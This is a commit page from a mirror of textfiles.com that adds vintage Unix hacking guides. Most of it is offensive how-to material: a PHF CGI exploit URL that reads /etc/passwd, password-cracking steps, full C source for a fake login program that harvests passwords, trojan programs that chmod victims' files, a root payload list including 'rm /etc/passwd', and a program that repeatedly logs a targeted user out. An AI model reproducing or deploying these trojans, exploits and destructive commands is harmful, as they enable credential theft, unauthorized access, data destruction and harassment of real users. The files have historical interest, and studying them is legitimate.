info/mirror-textfiles.com
1
0
Fork 0
mirror of https://github.com/opsxcq/mirror-textfiles.com.git synced 2025-08-14 01:13:57 +02:00
Code Issues Releases Wiki Activity

update

Browse Source
This commit is contained in:
OPSXCQ
2017-12-29 13:54:17 -03:00
parent 25f2341b28
commit 76cd2f528d
71 changed files with 71627 additions and 0 deletions
Download Patch File Download Diff File Expand all files Collapse all files

71
textfiles.com/hacking/UNIX/dirfind.txt Normal file
View File

@@ -0,0 +1,71 @@
Newbie Tips: (Changing to / Hidden Directories) 1.1
===================================================
I've only done this with Unix, emacs, & ftp (not ncftp), but I know it's
probably doable in the same/different way on other systems like VMS, NeXT,
etc. I assume you know what ascii, vt codes, etc are so just skim through
this, & maybe it'll help you out if you're caught on something. This isn't
a complete guide or anything.. it's just a few basic things that might be
useful if you don't already know them. There'll probably be a few people
who won't like this getting around to every new person on the 'net (there's
enough competition out there for sitez as it is), but it's nothing anyone
shouldn't already now a bit about (If I gave out a new site list with
each file or something THEN I could see some ChAos happening! :-)
Enjoy..
____________________________________________________________________________
Changing to a directory with spaces, tabs, or anything really wierd
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
All you do is use quotes, ie. cd incoming/"..<sp>"/"^Z<tab>"/"<alt 30>"
To change to a dir with an space--------^ tab---^ ascii seq--^
'Ascii sequence', simply
hold down the Alt key &
hit the appropriate
numers.
*Note: this may be tricky if your term prog, or machine uses ALT keys
for LOCAL actions.
____________________________________________________________________________
Figuring out what a hidden directory actually IS (you KNOW it's there,
but don't know what to type to change to it)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
What I do is redirect it to a file, then look at the file with emacs! In
ftp type 'ls -al <filename>'.. this saves the directory listing to a file.
Then either shell, exit, or use another process & look at the file with
emacs. Emacs will actually show you the "^H^A" chars. You can even
distinguish the spaces from tabs.. if you move the cursor accross the
directory name & it 'jumps' accross a bit.. it's a tab! I'm pretty sure
emacs can saftly display those nasty VT-wrecking control codes (^E^N ?).
____________________________________________________________________________
How to change to directories with tricky chars like '^Z','^C', etc..
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
While at the prompt in the shell, type 'stty -a'. This gives you the
'mapping' of the few special control chars. All you do is remap 'suspend'
from ^Z to something else (say ^K): type 'stty susp ^K'. Now ^K is the
suspend char, NOT ^Z.. you can now type ^Z while in ftp without it
getting thrown into the background! The same goes for ^C, ^R, etc..
'stty susp ^K'
^^-- when you type this, use the char '^' and the char 'K'..
you don't really type the actual control code when you
'remap' them from the shell prompt.
____________________________________________________________________________
Making directories, files with Color
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Pretty much like changing to them. I.e. mkdir "^[[7mHello^[[0m" will make
a directory in 'reverse video' (it'll look like junk if your NOT using
some kind of VT-100 term) but remember the actual dir is the escape
codes, not JUST 'hello'. Unix is interesting, because filenames can be
pretty much any length, and have any kind of characters in them.. even
Line Feeds!.
____________________________________________________________________________
Handling " characters
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Quote char's can't be specified in quotes obviously. Like in Tcsh, the '\'
char can be used to prefix unusual chars instead of using quotes. The '\'
method can be handy if the quote method doesn't work.. ie:
to change to: <sp><tab>.^L type: cd \<sp>\<tab>.\^L
to change to: "mydir<sp>^Hi type: cd \"mydir\<sp>\^Hi
etc..
I know this is sort of brief but it should give you a general idea of what
to look for and what to expect on when your poking around sitez. HaveFun!
-Dec 17, 1994.

200
textfiles.com/hacking/UNIX/hack.txt Normal file
View File

@@ -0,0 +1,200 @@
__________ _______________ _________
/ /\ / ______ /\ / ____ \
/ ______/ / / /\____/ / / / /\___\ \
/ /\_____\/ / / / / / / / / / \ \
/ /_/___ / / / / / / / / / \ \
/ /\ / / / / / / / / / / /\
/ _____/ / / / / / / / / / / / / /
/ /\____\/ / / / / / / / / / / / /
/ /_/___ / / / / / / / / / / / /
/ /\ / /_/___/ / / / /_/_______/ / /
/__________/ / /______________/ / /________________/ /
\__________\/ \______________\/ \________________\/
Essence Of Darkness
-'Hacking Servers 101'
was written by ChronicK of THE E0D-
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
++ DiSCLAiMER: ++
++ CHRONiCK NOR ANY PARTiES AFFiLIATED WiTH HiM TAKE ++
++ SPONSABiLiTY, WiTH THE CONTENTS CONTAiNED iN THiS ++
++ TEXT FILE. THiS CONTENT iS FOR EDUCATiONAL PURPOSES ++
++ ONLY, AND WHERE NOT PERSONALLY USED BY CHRONiCK, OR ANY ++
++ OTHER PARTiES AFFiLiATED WiTH HiM... ++
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
++ALL MiSPELLED WORDS, PUNCUATiON, AND OTHER MiSTAKES, ++
++ ARE CONSiDERED AS'ARTiSTiC EXPRESSiNGS'. ++
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
I'm very tired of people (so called 'hackers) asking me to teach them to
hack, or how to hack web sites...Well there is. There are, in fact, literally
hundreds of ways to do this. I'll discuss a few in this text to get you started.
Everyone must start somewhere and somehow, and hacking web servers and ftp servers
is yet one of the easiest ways. I really hope that you have _*SOME*_ basic knowledge,
of how web servers work and how to use some form of UNiX...
I'll explain that stuff anyway for those of you who _*don't*_ know. If you do, then
skip this lame part =c)
Part 1: The _*simple*_ UNiX commands 101
The majority of MS DOS commands, have a UNiX, or Linux equivalents.
Bellow, I have listen the _*MAiN*_ commands you'll need to know to operate a shell account.
CD = CD
COPY = CP
DEL = RM
DIR = LS
HELP = HELP
MOVE = MV
**
NOTE: These next commands where taken from the
Linebreaker (unix-use.txt), and are inculded in
<UNiX-USE> braces...
**
<UNiX-USE>
awk *=* Search for a pattern within a file
bdiff *=* Compares two large file
bfs *=* Scans a large file
cal *=* Displays a calendar
cat *=* Documents and prints file
cc *=* C compiler
cd *=* Change directory
chgrp *=* Changes a file's group ownership
chmod *=* Changes a file's access permissions
cmp *=* Compares two files
comm *=* Compares two files so as to determine which lines
*=* are common to both
cp *=* Copies a file to another location
cu *=* Calls another Unix system
date *=* Returns the date and time
fr *=* Displays free space in the file system
diff *=* Displays the differences between two files or dir's
diff3 *=* " " three files or dir's
du *=* Reports on file system usage
echo *=* Displays its argument
ed *=* Text editor
ex *=* Text editor
f77 *=* Fortran compiler
find *=* Locates the files with specified characteristics
format *=* Initializes a floppy disk
grep *=* Searches for a pattern within a file
help *=* Provides help
kill *=* Ends a process
in *=* Used to link files
ipr *=* Copies the file to the line printer
is *=* Displays information about one or more files
mail *=* Used to receive or deliver messages
mkdir *=* Creates a new directory
more *=* Displays a long file so that the user can scroll
mv *=* Used to move or rename files
nroff *=* Used to format text
passwd *=* Allows you to change your current password
ps *=* Display a process's status
pwd *=* Display the name of the working directory
rm *=* Removes one or more files
rmdir *=* Deletes one or more directories
sleep *=* Causes a process to become inactive for a specified
*=* amount of time
sort *=* Sort and merge one or more files
spell *=* Finds spelling errors in a file
split *=* Divides a file
stty *=* Displays or set terminal parameters
tail *=* Displays the end of a file
troff *=* Outputs formatted output to a typesetter
tset *=* Sets other terminal type
unmask *=* Allows the user to specify a new creation mass
uucp *=* Unix-to-Unix execute
vi *=* Full screen editor
wc *=* Displays details in the file size
who *=* Displays information on the system users
write *=* Used to send a message to another user
bin *=* Used to store Unix utilities
lib *=* Contains libraries used by Unix
tmp *=* Contains temporary files
etc *=* Contains administrative programs such as passwd
dev *=* Contains files which represent devices
usr *=* Contains user files
</UNiX-USE>-NOTE: that cuncluded unix-use.txt's commands...
*****
If you have _*NO*_ clue whatsoever of what any of what that chart 'represents', here's yet more
help for you...
On the right (in the above chart, CD, COPY DEL, DiR, HELP, and MOVE, are ALL MicroSoft, DOS commands.
What are MicroSoft DOS commands? Doh, commands you enter in a MicroSoft DOS Prompt! Just try one, shell to DOS
(open a MicroSoft DOS prompt), if you don't know how just restart in DOS (Win95 users). Win3.x users, just exit
windows. Once you are in DOS, type some of the above commands, in the chart, on the right =c). On the left are
UNiX/LiNUX commands, that do they equivalent, of, the commands on the right...I hope this explains it enough...
To find out who is in a system, simply type: WHO. To get information
about a specific user on the system type FINGER username (username = the name you
fingering). By taking advantage of those basic UNiX commands, you can learn all you
need to know about the system you are currently 'in' (using).
Part 2: Cracking the passwords 101
On UNiX systems the file that contains the passwords for all the users
on the system is located in the /etc dir (directory). The filename is passwd.
So alltogether you need to access ~/etc/passwd. All of the accounts in the
passwd file have _*ENCRYPTED*_ passwords. These passwords cannot be, in any way,
'decrypted'. However, there are programs that can be used to obtain passwords from
the file. I reccomed using 'Cracker Jack', or my favorite, John The Ripper...These
prgramms use wordlists (a BiG LiST of words), then compares the encrypted forms
of the words in the list to the encrypted passwords in the passwd file and it
notifies you when it finds a match (NOT allways 100% of the time...). John The Ripper,
or Cracker Jack, can be found at: www.hack3rs.com.
Part 3: Finding Password Files 101
Obviously, a systim adimin isn't just going to give out a passwd file to you.
You have to have a way to retrieve the /etc/passwd file without logging into the
system. There are two ways that this can sometimes be accomplished. Most of the time
the etc/passwd file isn't hidden from the public, in there ftp. To get the passwd
file this way try using an FTP client to access the site _*ANONiMOUSLY*_ then check
the /etc directory to see if access to the passwd file is non accessable. If it is
not restricted then download the file and run John The Ripper, or Cracker Jack, or any
other cracking programms on it. In some systems there is a file called PHF, located in
the /cgi-bin directory. If there is then you are in luck. PHF allows users to gain
_*REMOTE-ACCESS*_ to files, even etc/passwd via the 'net. To try this method
goto your web browser and type in the following addy (URL (Address)):
http://the.site.url/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
Make sure you change http://the.site.url to http://whatever the address of the page
you're trying to hack...
If all else fails, _*FiND*_ a way to get that file! If you are stuck with a 'x'
or '*' (in most cases you _*ARE*_), that means the file is shadowed. There is
_*NO*_ way to actually 'Unshadow', although, I've seen programms, that claim to
do it...You may want to visit www.lorsomer.com, www.r0ot.org, or www.hack3rs.com... You have
to have some C programming knowledge, because you have to compile the programm using a compiler.
There are allways backups of passwd though! Experiment a little, try etc/shadow
or something.
Part 4: Loggin on to _*YOUR*_ new personnal shell!
If you succeded in the password getting proccess, run your telnet client and
telent (Windows95's default telnet client can be ran by: clicking the start button,
then run, and then type telnet, hit enter.) to the server that you cracked the passwords for, such
as www.hack3rs.com (in Windows95's telnet client click conect, then remote server, or go to
MicroSoft DOS, and type: telnet address.goes.here). When you connect, you will be prompted,
for both a username, then password. Just type in the information you got after cracking
the passwd file. Once in you can do whatever you want...I strongly do not recommend spreading
virii, or causing havoc...
-Knowledge is _*POWER*_, and Information is _*STRENGTH*_-
Part 5: Newbies...
Cracking is not hacking, so just remember that...If you are seriously into
becoming a hacker, check out your local library, or bookstoor, and pick up programming
books...HTML, C, JAVA, anything...Don't buy 'hacking books' they don't help much,
they just tell you about hacks, and social engineering...Check out www.hack3rs.com
for newbie texts, and other rescources for the H/P Underground Comunity...
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+ ************************************************** +
+ *ChronicK can be contaced at: eod@mailexcite.com * +
+ ************************************************** +
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
read all

231
textfiles.com/hacking/UNIX/hack1 Normal file
View File

@@ -0,0 +1,231 @@
Unix - Odds & Ends
-- ------- ----- --- --- ------
1. Keeping Users Off The System
-- ------- ----- --- --- ------
Now, we all know by now how to log users off (one way is to redirect
an 'stty 0' command to their tty) but unless you have root privs, this
will not work when a user has set 'mesg n' and prevented other users from
writing to their terminal. But even users who have a 'mesg n' command in
their .login (or .profile or .cshrc) file still have a window of vulnerability,
the time between login and the locking of their terminal. I designed the
following program, block.c, to take advantage of this fact.
To get this source running on your favorite Unix system, upload it,
call it 'block.c', and type the following at the % or $ prompt:
cc -o block block.c
once you've compiled it successfully, it is invoked like so:
block username [&]
The & is optional and recommended - it runs the program in the background,
thus letting you do other things while it's at work.
If the user specified is logged in at present, it immediately logs
them out (if possible) and waits for them to log in. If they aren't logged
in, it starts waiting for them. If the user is presently logged in but
has their messages off, you'll have to wait until they've logged out to
start the thing going.
Block is essentially an endless loop : it keeps checking for the occurence
of the username in /etc/utmp. When it finds it, it immediately logs them
out and continues. If for some reason the logout attempt fails, the program
aborts. Normally this won't happen - the program is very quick when run
unmodified. However, to get such performance, it runs in a very tight
loop and will eat up a lot of CPU time. Notice that near the end of the
program there is the line:
/*sleep(SLEEP) */
the /* and */ are comment delimiters - right now the line is commented
out. If you remove the comments and re-compile the program, it will then
'go to sleep' for the number of seconds defined in SLEEP (default is 5)
at the end of every loop. This will save the system load but will slightly
decrease the odds of catching the user during their 'window of vulnerability.'
If you have a chance to run this program at a computer lab at a school or
somewhere similar, run this program on a friend (or an enemy) and watch
the reaction on their face when they repeatedly try to log in and are
logged out before they can do *anything*. It is quite humorous. This
program is also quite nasty and can make you a lot of enemies!
caveat #1: note that if you run the program on yourself, you will be logged
out, the program will continue to run (depending on the shell you're under)
and you'll have locked yourself out of the system - so don't do this!
caveat #2: I wrote this under OSx version 4.0, which is a licensed version
of Unix which implements 4.3bsd and AT&T sysV. No guarantees that it will
work on your system.
caveat #3: If you run this program in background, don't forget to kill
it when you're done with it! (when you invoke it with '&', the shell will
give you a job number, such as '[2] 90125'. If you want to kill it later
in the same login session, type 'kill %2'. If you log in later and want
to kill it, type 'kill 90125'. Just read the man page on the kill command
if you need any help...
----- cut here -----
/* block.c -- prevent a user from logging in
* by Shooting Shark
* usage : block username [&]
* I suggest you run this in background.
*/
#include <stdio.h>
#include <utmp.h>
#include <ctype.h>
#include <termio.h>
#include <fcntl.h>
#define W_OK2
#define SLEEP5
#define UTMP"/etc/utmp"
#define TTY_PRE "/dev/"
main(ac,av)
int ac;
char *av[];
{
int target, fp, open();
struct utmpuser;
struct termio*opts;
char buf[30], buf2[50];
if (ac != 2) {
printf("usage : %s username\n",av[0]);
exit(-1);
}
for (;;) {
if ((fp = open(UTMP,0)) == -1) {
printf("fatal error! cannot open %s.\n",UTMP);
exit(-1);
}
while (read(fp, &user, sizeof user) > 0) {
if (isprint(user.ut_name[0])) {
if (!(strcmp(user.ut_name,av[1]))) {
printf("%s is logging in...",user.ut_name);
sprintf(buf,"%s%s",TTY_PRE,user.ut_line);
printf("%s\n",buf);
if (access(buf,W_OK) == -1) {
printf("failed - program aborting.\n");
exit(-1);
}
else {
if ((target = open(buf,O_WRONLY)) != EOF) {
sprintf(buf2,"stty 0 > %s",buf);
system(buf2);
printf("killed.\n");
sleep(10);
}
} /* else */
} /* if strcmp */
} /* if isprint */
} /* while */
close(fp);
/*sleep(SLEEP); */
} /* for */
}
----- cut here -----
-- ------------- ----- ----- ---- ------ --- ------
2. Impersonating other users with 'write' and 'talk'
-- ------------- ----- ----- ---- ------ --- ------
This next trick wasn't exactly a work of stupefying genius, but is a
little trick (that anybody can do) that I sometimes use to amuse myself
and, as with the above, annoy the hell out of my friends and enemies.
Nearly every Unix system has the 'write' program, for conversing with
other logged-in users. As a quick summary:
If you see that user 'clara' is logged in with the 'who' or 'w' command
or whatever, and you wish to talk to her for some reason or another,
you'd type 'write clara'. Clara then would see on her screen something
like this (given that you are username 'shark'):
[3 ^G's] Message from shark on ttyi13 at 23:14 ...
You then type away at her, and whatever you type is sent to her terminal
line-by-line. If she wanted to make it a conversation rather than a
monologue, she'd type 'write shark,' you'd get a message similar to the above
on your terminal, and the two of you would type away at each other to your
little heart's content. If either one of you wanted to end the conversation,
you would type a ^D. They would then see the characters 'EOF' on their
screen, but they'd still be 'write'ing to you until they typed a ^D as well.
Now, if you're on a bigger installation you'll probably have some sort
of full-screen windowing chat program like 'talk'. My version of talk
sends the following message:
Message from Talk_Daemon@tibsys at 23:14 ...
talk: connection requested by shark@tibsys.
talk: respond with: talk shark@tibsys
Anyway, here's where the fun part begins: It's quite easy to put a sample
'write' or 'talk' message into a file and then edit so that the 'from'
is a different person, and the tty is listed differently. If you see that
your dorky friend roger is on ttyi10 and the root also happens to be
logged on on ttyi01, make the file look something like this:
[3 control-G's] Message from root on ttyi01 at [the current time]
wackawackawackawackawacka!!!
[or a similarly confusing or rude message...]
EOF
Then, send this file to roger's terminal with:
cat filename > /dev/ttyi10
He'll get the message on his terminal and wonder what the hell the
superuser is talking about. He might even 'write' back to the superuser
with the intent of asking 'what the hell are you talking about?'. For
maximum effectiveness, *simultaneously* send a message to root 'from'
roger at the appropriate terminal with an equally strange message - they'll
then engage in a conversation that will go something like "what did you
mean by that?" "what do you mean, what do I mean? What did *you* mean
by that?" etc. A splendid time is guaranteed for all! Note that you don't
have to make 'root' the perpetrator of the gag, any two currently logged-in
users who have their terminals open for messages can join in on the fun.
Similarly, you can fake a few 'talk' pages from/to two people...they will
then probably start talking...although the conversation will be along the
lines of "what do you want?" "you tell me." "you paged me, you tell *me."
etcetera, while you laugh yourself silly or something like that.
A variation on the theme: As I said, when using 'write' you type a ^D to
end the conversation, and the person you're typing at sees an 'EOF' on
their screen. But you could also just *type* 'EOF', and they'd think
you've quit...but you still have an open line to their terminal. Even
if they later turn messages off, you still have the ability to write to
their terminal. Keeping this fact in mind, anybody who knows what they're
doing can write a program similar to my 'block' program above that doesn't
log a user out when they appear on the system, but opens their tty as
a device and keeps the file handle in memory so you can redirect to their
terminal - to write rude messages or to log them out or whatever - at any
time, until they log out.


325
textfiles.com/hacking/UNIX/hack2 Normal file
View File

@@ -0,0 +1,325 @@
------------------
UNIX Trojan Horses
------------------
Introduction
------------
"UNIX Security" is an oxymoron. It's an easy system to bruteforce hack
(most UNIX systems don't hang up after x number of login tries, and there are
a number of default logins, such as root, bin, sys and uucp). Once you're in
the system, you can easily bring it to its knees or, if you know a little 'C',
you can make the system work for you and totally eliminate the security
barriers to creating your own logins, reading anybody's files, etcetera. This
file will outline such ways by presenting 'C' code that you can implement
yourself.
Requirements
------------
You'll need a working account on a UNIX system. It should be a fairly
robust version of UNIX (such as 4.2bsd or AT&T System V) running on a real
machine (a PDP/11, VAX, Pyramid, etc.) for the best results. If you go to
school and have an account on the school system, that will do perfectly.
Notes
-----
This file was inspired an article in the April, '86 issue of BYTE
entitled "Making UNIX Secure." In the article, the authors say "We provide
this information in a way that, we hope, is interesting and useful yet stops
short of being a 'cookbook for crackers.' We have often intentionally omitted
details." I am following the general outline of the article, giving explicit
examples of the methods they touched on.
Project One: Fishing For Passwords
-----------------------------------
You can implement this with only a minimal knowledge of UNIX and C.
However, you need access to a terminal that many people use - the computer lab
at your school, for example.
When you log onto a typical UNIX system, you see something like this:
Tiburon Systems 4.2bsd / System V (shark)
login: shark
Password: (not printed)
The program I'm giving you here simulates a logon sequence. You run the
program from a terminal and then leave. Some unknowing fool will walk up and
enter their login and password. It is written to a file of yours, then "login
incorrect" is printed, then the fool is asked to log in again. The second
time it's the real login program. This time the person succeeds and they are
none the wiser.
On the system, put the following code into a file called 'horse.c'. You
will need to modify the first 8 lines to fit your system's appearance.
----- Code Begins Here -----
/* this is what a 'C' comment looks like. You can leave them out. */
/* #define's are like macros you can use for configuration. */
#define SYSTEM "\n\nTiburon Systems 4.2bsd UNIX (shark)\n\n"
/* The above string should be made to look like the message that your
* system prints when ready. Each \n represents a carriage return.
*/
#define LOGIN "login: "
/* The above is the login prompt. You shouldn't have to change it
* unless you're running some strange version of UNIX.
*/
#define PASSWORD "password:"
/* The above is the password prompt. You shouldn't have to change
* it, either.
*/
#define WAIT 2
/* The numerical value assigned to WAIT is the delay you get after
* "password:" and before "login incorrect." Change it (0 = almost
* no delay, 5 = LONG delay) so it looks like your system's delay.
* realism is the key here - we don't want our target to become
* suspicious.
*/
#define INCORRECT "Login incorrect.\n"
/* Change the above so it is what your system says when an incorrect
* login is given. You shouldn't have to change it.
*/
#define FILENAME "stuff"
/* FILENAME is the name of the file that the hacked passwords will
* be put into automatically. 'stuff' is a perfectly good name.
*/
/* Don't change the rest of the program unless there is a need to
* and you know 'C'.
*/
#include <curses.h>
#include <signal.h>
int stop();
main()
{
char name[10], password[10];
int i;
FILE *fp, *fopen();
signal(SIGINT,stop);
initscr();
printf(SYSTEM);
printf(LOGIN);
scanf("%[^\n]",name);
getchar();
noecho();
printf(PASSWORD);
scanf("%[^\n]",password);
printf("\n");
getchar();
echo();
sleep(WAIT);
if ( ( fp = fopen(FILENAME,"a") ) != NULL ) {
#fprintf(fp,"login %s has password %s\n",name,password);
#fclose(fp);
#}
printf(INCORRECT);
endwin();
}
stop()
{
endwin();
exit(0);
}
----- Source Ends Here -----
OK, as I said, enter the above and configure it so it looks exactly like
your system's login sequence. To compile this program called 'horse.c' type
the following two lines: (don't type the %'s, they are just a sample prompt)
% cc horse.c -lcurses -ltermcap
% mv a.out horse
You now have the working object code in a file called 'horse'. Run it, and if
it doesn't look like your systems logon sequence, re-edit horse.c and
recomplie it. When you're ready to put the program into use, create a new
file and call it 'trap' or something. 'trap' should have these two commands:
horse (this runs your program)
login (this runs the real login program)
to execute 'trap' type:
% source trap (again, don't type the %)
and walk away from your terminal...
After you've run it successfully a few times, check your file called
'stuff' (or whatever you decided to call it). It will look like this:
user john has password secret
user mary has password smegma
etc.
Copy down these passwords, then delete this file (it can be VERY incriminating
if the superuser sees it).
Note - for best results your terminal should be set to time-out after a few
minutes of non-use - that way, your horse program doesn't run idle for 14
hours if nobody uses the terminal you ran it on.
-----
The next projects can be run on a remote system, such as the VAX in Michigan
you've hacked into, or Dartmouth's UNIX system, or whatever. However, they
require a little knowledge of the 'C' language. They're not something for
UNIX novices.
Project Two: Reading Anybody's Files
-------------------------------------
When somebody runs a program, they're the owner of the process created and
that program can do anything they would do, such as delete a file in their
directory or making a file of theirs available for reading by anybody.
When people save old mail they get on a UNIX system, it's put into a file
called mbox in their home directory. This file can be fun to read but is
usually impossible for anybody but the file's owner to read. Here is a short
program that will unlock (i.e. chmod 777, or let anybody on the system read,
write or execute) the mbox file of the person who runs the program:
----- Code Begins Here -----
#include <pwd.h>
struct passwd *getpwnam(name);
struct passwd *p;
char buf[255];
main()
{
p = getpwnam(getlogin());
sprintf(buf,"%s/%s",p->pw_dir,"mbox");
if ( access(buf,0) > -1 ) {
sprintf(buf,"chmod 777 %s/%s",p->pw_dir,"mbox");
system(buf);
}
}
----- Code Ends Here -----
So the question is: How do I get my target to run this program that's
in my directory?
If the system you're on has a public-messages type of thing (on 4.xbsd, type
'msgs') you can advertise your program there. Put the above code in another
program - find a utility or game program in some magazine like UNIX WORLD and
modify it and do the above before it does it's real thing. So if you have a
program called tic-tac-toe and you've modified it to unlock the mbox file of
the user before it plays tic-tac-toe with him, advertise "I have a new tic-
tac-toe program running that you should all try. It's in my directory." or
whatever. If you don't have means of telling everybody on the system via a
public message, then just send mail to the specific people you want to trap.
If you can't find a real program to modify, just take the above program and
add this line between the two '}' lines at the end of the program:
printf("Error opening tic-tac-toe data file. Sorry!\n");
when the program runs, it will print the above error message. The user will
think "Heh, that dude doesn't know how to write a simple tic-tac-toe program!"
but the joke's on him - you can now read his mail.
If there's a specific file in a user's directory that you'd like to read (say
it's called "secret") just throw together this general program:
main()
{
if ( access("secret",0) > -1 ) system("chmod 777 secret");
}
then 'talk' or 'write' to him and act like Joe Loser: "I wrote this program
called super_star_wars, will you try it out?"
You can use your imagination. Think of a command you'd like somebody to
execute. Then put it inside a system() call in a C program and trick them
into running your program!
Here's a very neat way of using the above technique:
Project Three: Become the superuser
-----------------------------------
Write a program that you can get people to run. Put this line in it
somewhere:
if ( !strcmp(getlogin(),"root") ) system("whatever you want");
This checks to see if the root login is running your program. If he is, you
can have him execute any shell command you'd like. Here are some suggestions:
"chmod 666 /etc/passwd"
/etc/passwd is the system's password file. The root owns this file.
Normally, everyone can read it (the passwords are encrypted) but only the root
can write to it. Take a look at it and see how it's formatted if you don't
know already. This command makes it possible for you to now write to the file
- i.e. create unlimited accounts for yourself and your friends.
"chmod 666 /etc/group"
By adding yourself to some high-access groups, you can open many
doors.
"chmod 666 /usr/lib/uucp/L.sys"
Look for this file on your system if it is on the uucp net. It contains
dialups and passwords to other systems on the net, and normally only the uucp
administrator can read it. Find out who owns this file and get him to
unknowingly execute a program to unlock it for you.
"rm /etc/passwd"
If you can get the root to execute this command, the system's passwd file
will be removed and the system will go down and will not come up for some time
to come. This is very destructive.
-----
If you are going to go about adding a trojan horse program to the system,
there are some rules you should follow. If the hidden purpose is something
major (such as unlocking the user's mbox or deleting all of his files or
something) this program shouldn't be a program that people will be running a
lot (such as a popular computer game) - once people discover that their files
are public access the source of the problem will be discovered quite easily.
Save this purpose for a 'test' program (such as a game you're in the process
of writing) that you ask individual people to run via mail or 'chatting' with
them. As I said, this 'test' program can bomb or print a phony error message
after completing its task, and you will just tell the person "well, I guess
it needs more work", wait until they log off, and then read whatever file of
theirs that you've unlocked. If your trojan horse program's sole purpose is
to catch a specific user running it - such as the root or other high-powered
user - you can put the code to do so in a program that will be run a lot by
various users of the system. Your modification will remain dormant until he
runs it. If you can't find the source to 'star trek' or whatever in C, just
learn C and convert something from pascal. It can't hurt to learn C as it's a
great language. We've just seen what it can do on a UNIX system. Once you've
caught the root (i.e. you can now modify the /etc/passwd file) remove the
spurious code from your trojan horse program and you'll never be caught.

BIN
textfiles.com/hacking/UNIX/hack3.hac Normal file
View File

Binary file not shown.

1094
textfiles.com/hacking/UNIX/hacking_unix.txt Normal file
View File

File diff suppressed because it is too large Load Diff

116
textfiles.com/hacking/UNIX/hackunix Normal file
View File

@@ -0,0 +1,116 @@
[:%:%:%:%:%:%:% THIEF %:%:%:%:%:%:%:%:]
How to Hack UNIX and VAX Systems
[:%:%:%:%:%:%:%:%:%:%:%:%:%:%:%:%:%:%:]
HUV (C) 1989 THIEF
Written by, The Wizard
THIEF Volume 1, Issue 7
Call the I.C.E. Palace 817 465-3271
=======================================
Unix is a trademark of bell labs ** ** (and you know what *that* means) ** **
Hacking vax's
and unix. In this article, we discuss the unix system that runs on the various
vax systems. If you are on another unix-type system, some commands may differ,
but since it is licenced to bell, they can't make many changes. Hacking onto
a unix system is very difficult, and in this case, we advise having an inside
source, if possible. The reason it is difficult to hack a vax is this: many
vax, after you get a carrier from them, respond=> login: they give you no
chance to see what the login name format is. Most commonly used are single
words, under 8 digits, usually the person's name. There is a way around this:
most vax have an acct. Called 'suggest' for people to use to make a suggestion
to the system root terminal. This is usually watched by the system operator,
but at late he is probably at home sleeping or screwing someone's brains out.
So we can write a program to send at the vax this type of a message: a screen
freeze (cntrl-s), screen clear (system dependant), about 255 garbage
characters, and then a command to create a login acct., After which you clear
the screen again, then un- freeze the terminal. What this does: when the
terminal is frozen, it keeps a buffer of what is sent. Well, the buffer is
about 127 characters long. So you overflow it with trash, and then you send a
command line to create an acct. (System dependant). After this you clear the
buffer and screen again, then unfreeze the terminal. This is a bad way to do
it, and it is much nicer if you just send a command to the terminal to shut the
system down, or whatever you are after... There is always, *always* an acct.
Called root, the most powerful acct. To be on, since it has all of the system
files on it. If you hack your way onto this one, then everything is easy from
here on... On the unix system, the abort key is the cntrl-d key. Watch how
many times you hit this, since it is also a way to log off the system! A little
about unix architechture: the root directory, called root, is where the system
resides. After this come a few 'sub' root directories, usually to group things
(stats here, priv stuff here, the user log here...). Under this comes the
superuser (the operator of the system), and then finally the normal users. In
the unix 'shell' everything is treated the same. By this we mean: you can
access a program the same way you access a user directory, and so on. The way
the unix system was written, everything, users included, are just programs
belonging to the root directory. Those of you who hacked onto the root, smile,
since you can screw everything... The main level (exec level) prompt on the
unix system is the $, and if you are on the root, you have a # (super- user
prompt). Ok, a few basics for the system... To see where you are, and what
paths are active in reguards to your user account, then type => pwd this shows
your acct. Seperated by a slash with another pathname (acct.), Possibly many
times. To connect through to another path, or many paths, you would type: you=>
ph1/path2/path3 and then you are connected all the way from path1 to path3.
You can run the programs on all the paths you are connected to. If it does not
allow you to connect to a path, then you have insufficient privs, or the path
is closed and archived onto tape. You can run programs this way also: you=>
p1/path2/path3/program-name unix treats everything as a program, and thus
there a few commands to learn... To see what you have access to in the end
path, type=> ls for list. This show the programs you can run. You can
connect to the root directory and run it's programs with=> /root by the way,
most unix systems have their log file on the root, so you can set up a watch on
the file, waiting for people to log in and snatch their password as it passes
thru the file. To connect to a directory, use the command: => cd pathname this
allows you to do what you want with that directory. You may be asked for a
password, but this is a good way of finding other user names to hack onto.
The wildcard character in unix, if you want to search down a path for a game or
such, is the *. => Ls /* should show you what you can access. The file types
are the same as they are on a dec, so refer to that section when examining
file. To see what is in a file, use the => pr filename command, for print
file. We advise playing with pathnames to get the hang of the concept. There
is on-line help available on most systems with a 'help' or a '?'. We advise you
look thru the help files and pay attention to anything they give you on
pathnames, or the commands for the system. You can, as a user, create or
destroy directories on the tree beneath you. This means that root can kill
every- thing but root, and you can kill any that are below you. These are the
=> mkdir pathname => rmdir pathname commands. Once again, you are not alone
on the system... Type=> who to see what other users are logged in to the
system at the time. If you want to talk to them=> write username will allow
you to chat at the same time, without having to worry about the parser. To
send mail to a user, say => mail and enter the mail sub-system. To send a
message to all the users on the system, say => wall which stands for 'write
all' by the way, on a few systems, all you have to do is hit the <return> key
to end the message, but on others you must hit the cntrl-d key. To send a
single message to a user, say => write username this is very handy again! If
you send the sequence of characters discussed at the very beginning of this
article, you can have the super-user terminal do tricks for you again. Privs:
if you want super-user privs, you can either log in as root, or edit your acct.
So it can say => su this now gives you the # prompt, and allows you to
completely by-pass the protection. The wonderful security conscious developers
